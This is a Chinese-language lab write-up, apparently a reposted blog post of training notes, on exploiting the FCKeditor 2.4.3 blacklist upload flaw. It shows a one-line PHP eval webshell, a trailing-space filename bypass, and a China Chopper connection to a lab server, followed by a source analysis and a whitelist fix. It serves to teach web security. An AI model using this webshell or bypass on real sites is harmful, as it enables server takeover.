FCKeditor 2.4.3文件上传漏洞 ——合天网安实验室学习笔记

2023-11-02 15:20

本文主要是介绍FCKeditor 2.4.3文件上传漏洞 ——合天网安实验室学习笔记,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

实验链接

FCKeditor是一款开放源码的文本编辑器,其2.4.3版本upload.php文件使用黑名单进行文件校验,通过实验学习如何绕过黑名单检测,上传恶意文件。

链接:http://www.hetianlab.com/expc.do?ce=374758bd-360d-44ac-8db5-a60ac5c25866

实验简介

实验所属系列: Web安全

实验对象: 本科/专科信息安全专业

相关课程及专业: 计算机基础、计算机网络、PHP

实验类别: 实践实验类

预备知识

  • 编辑器漏洞

    常见的文本编辑器有FCKeditor、Ewebeditor、UEditor、KindEditor、XHeditor等,它们包含的功能类似,如图片上传、视频上传、远程下载等。使用这类编辑器减少了程序开发的时间,但也存在通用性漏洞带来的危害。

  • 漏洞介绍

    FCKeditor/fckeditor/editor/filemanager/upload/php/upload.php文件上传漏洞。

    漏洞修复:upload.php文件使用黑名单校验,可以根据需要的类型修改为白名单参数。

  • FCKeditor介绍

    FCKeditor是一款开放源码的HTML文本编辑器,可以为用户提供微软office软件一样的在线文档编辑服务。FCKeditor不需要安装任何形式的客户端,且兼容绝大多数主流浏览器,支持PHP、jsp、asp、python等编程环境。

  • FCKeditor常用上传地址

fckeditor/editor/filemanager/connectors/test.htmlfckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connectorfckeditor/editor/filemanager/upload/test.htmlfckeditor/editor/filemanager/browser/default/connectors/test.htmlfckeditor/editor/filemanager/connectors/uploadtest.html

实验目的

通过实验掌握FCKeditor编辑器文件上传漏洞的原因和利用方法。

实验环境

  • 服务器:Windows 10 + FCKeditor2.4.3、ip:10.1.1.100

  • FCKeditor2.4.3目录:C:\phpStudy\WWW\fckeditor-master\

  • 工具:phpStudy、Firefox、sublime text2、burpsuite、中国菜刀

实验步骤

步骤一

任务描述:2.4.3版本存在版本信息泄露,通过两种方法查看FCKeditor版本信息。

  1. 浏览器访问http://10.1.1.100/fckeditor-master/editor/dialog/fck_about.html

在这里插入图片描述

  1. 浏览器访问http://10.1.1.100/fckeditor-master/_whatsnew.html

在这里插入图片描述

步骤二

任务描述:FCKeditor 2.4.3文件上传漏洞利用。

浏览器访问 “http://10.1.1.100/fckeditor-master/editor/filemanager/browser/default/connectors/test.html”

在这里插入图片描述

需自己在桌面上创建test.php文件, 内容为一句话木马:“<?php @eval($_POST['upload']);?>”。

在这里插入图片描述

然后【Connector】选择PHP,然后直接上传PHP文件会出现提示:

在这里插入图片描述
在这里插入图片描述

表示不能上传PHP类型的文件。

重新上传PHP文件并用burpsuite抓包:

burpsuite详细教程可参考我的另一篇笔记:burp进行暴力破解
在这里插入图片描述
采用空格绕过,即修改文件名为“test.php ”,并修改MIME类型“image/png”:
在这里插入图片描述

将修改后的报文发送至Repeater,GO:
在这里插入图片描述

Forward后网页出现提示:
在这里插入图片描述
在这里插入图片描述

文件上传成功。

关闭burpsuite的intercept,点击页面【Get Folders and Files】,可以看到路径直接显示在页面中:
在这里插入图片描述

使用菜刀工具执行一句话木马文件:

首先将代理服务器取消,改回原本设置:
在这里插入图片描述
注:工具在C:\tools\中国菜刀\文件夹内

添加地址:“http://10.1.1.100/zf-smarty/public/uploads/file/test.php”

在这里插入图片描述

在【POST输入框】中填写需要执行的命令"upload=phpinfo();"并提交:

在这里插入图片描述
页面显示:
在这里插入图片描述
???没有反应???

不管了,尝试继续向下,应该没有影响(事实证明没有影响)。

使用菜刀工具连接目标服务器。

在空白处右键->添加:
在这里插入图片描述地址的两列分别填写"http://10.1.1.100/zf-smarty/public/uploads/file/test.php"、“upload”
在这里插入图片描述
就可找到一句话木马所在文件了。
在这里插入图片描述

步骤三

任务描述:FCKeditor 2.4.3文件上传漏洞分析。

请求为php/connector.php?Command=GetFolders And Files&Type=File&CurrentFolder=/,所以打开\fckeditor-master\editor\filemanager\browser\default\connectors\php\connector.php文件:
在这里插入图片描述追踪Command参数:
在这里插入图片描述

参数$sCommand经过FileUpload函数进行处理:
在这里插入图片描述

跟进FileUpload函数\php\commands.php:

在这里插入图片描述

发现存在黑名单文件。
在这里插入图片描述

继续追踪黑名单\php\config.php文件:
在这里插入图片描述
此处可观察到网页所运行上传的文件为黑名单外所有文件,这就是为什么可以利用Windows特性,在文件名后加空白的方法可以绕过黑名单检测。

答题

在这里插入图片描述

这篇关于FCKeditor 2.4.3文件上传漏洞 ——合天网安实验室学习笔记的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/331504

相关文章

基于Python编写一个git自动上传的脚本(打包成exe)

《基于Python编写一个git自动上传的脚本(打包成exe)》这篇文章主要为大家详细介绍了如何基于Python编写一个git自动上传的脚本并打包成exe,文中的示例代码讲解详细,感兴趣的小伙伴可以跟... 目录前言效果如下源码实现利用pyinstaller打包成exe利用ResourceHacker修改e

input的accept属性让文件上传安全高效

《input的accept属性让文件上传安全高效》文章介绍了HTML的input文件上传`accept`属性在文件上传校验中的重要性和优势,通过使用`accept`属性,可以减少前端JavaScrip... 目录前言那个悄悄毁掉你上传体验的“常见写法”改变一切的 html 小特性:accept真正的魔法:让

java对接Pinata上传文件到IPFS全过程

《java对接Pinata上传文件到IPFS全过程》本文详细介绍了如何使用PinataAPI将文件上传到IPFS网络,首先登录Pinata官网并生成JWT令牌,然后在项目中导入OkHttp依赖并编写代... 目录1.登录2.生成令牌3.导入依赖4.编写代码5.调用接口调试China编程代码总结Pinata调用AP

Python使用FastAPI实现大文件分片上传与断点续传功能

《Python使用FastAPI实现大文件分片上传与断点续传功能》大文件直传常遇到超时、网络抖动失败、失败后只能重传的问题,分片上传+断点续传可以把大文件拆成若干小块逐个上传,并在中断后从已完成分片继... 目录一、接口设计二、服务端实现(FastAPI)2.1 运行环境2.2 目录结构建议2.3 serv

Python一次性将指定版本所有包上传PyPI镜像解决方案

《Python一次性将指定版本所有包上传PyPI镜像解决方案》本文主要介绍了一个安全、完整、可离线部署的解决方案,用于一次性准备指定Python版本的所有包,然后导出到内网环境,感兴趣的小伙伴可以跟随... 目录为什么需要这个方案完整解决方案1. 项目目录结构2. 创建智能下载脚本3. 创建包清单生成脚本4

SpringBoot+RustFS 实现文件切片极速上传的实例代码

《SpringBoot+RustFS实现文件切片极速上传的实例代码》本文介绍利用SpringBoot和RustFS构建高性能文件切片上传系统,实现大文件秒传、断点续传和分片上传等功能,具有一定的参考... 目录一、为什么选择 RustFS + SpringBoot?二、环境准备与部署2.1 安装 RustF

SpringBoot实现不同接口指定上传文件大小的具体步骤

《SpringBoot实现不同接口指定上传文件大小的具体步骤》:本文主要介绍在SpringBoot中通过自定义注解、AOP拦截和配置文件实现不同接口上传文件大小限制的方法,强调需设置全局阈值远大于... 目录一  springboot实现不同接口指定文件大小1.1 思路说明1.2 工程启动说明二 具体实施2

修复已被利用的高危漏洞! macOS Sequoia 15.6.1发布

《修复已被利用的高危漏洞!macOSSequoia15.6.1发布》苹果公司于今日发布了macOSSequoia15.6.1更新,这是去年9月推出的macOSSequoia操作... MACOS Sequoia 15.6.1 正式发布!此次更新修复了一个已被黑客利用的严重安全漏洞,并解决了部分中文用户反馈的

Unity新手入门学习殿堂级知识详细讲解(图文)

《Unity新手入门学习殿堂级知识详细讲解(图文)》Unity是一款跨平台游戏引擎,支持2D/3D及VR/AR开发,核心功能模块包括图形、音频、物理等,通过可视化编辑器与脚本扩展实现开发,项目结构含A... 目录入门概述什么是 UnityUnity引擎基础认知编辑器核心操作Unity 编辑器项目模式分类工程

Python学习笔记之getattr和hasattr用法示例详解

《Python学习笔记之getattr和hasattr用法示例详解》在Python中,hasattr()、getattr()和setattr()是一组内置函数,用于对对象的属性进行操作和查询,这篇文章... 目录1.getattr用法详解1.1 基本作用1.2 示例1.3 原理2.hasattr用法详解2.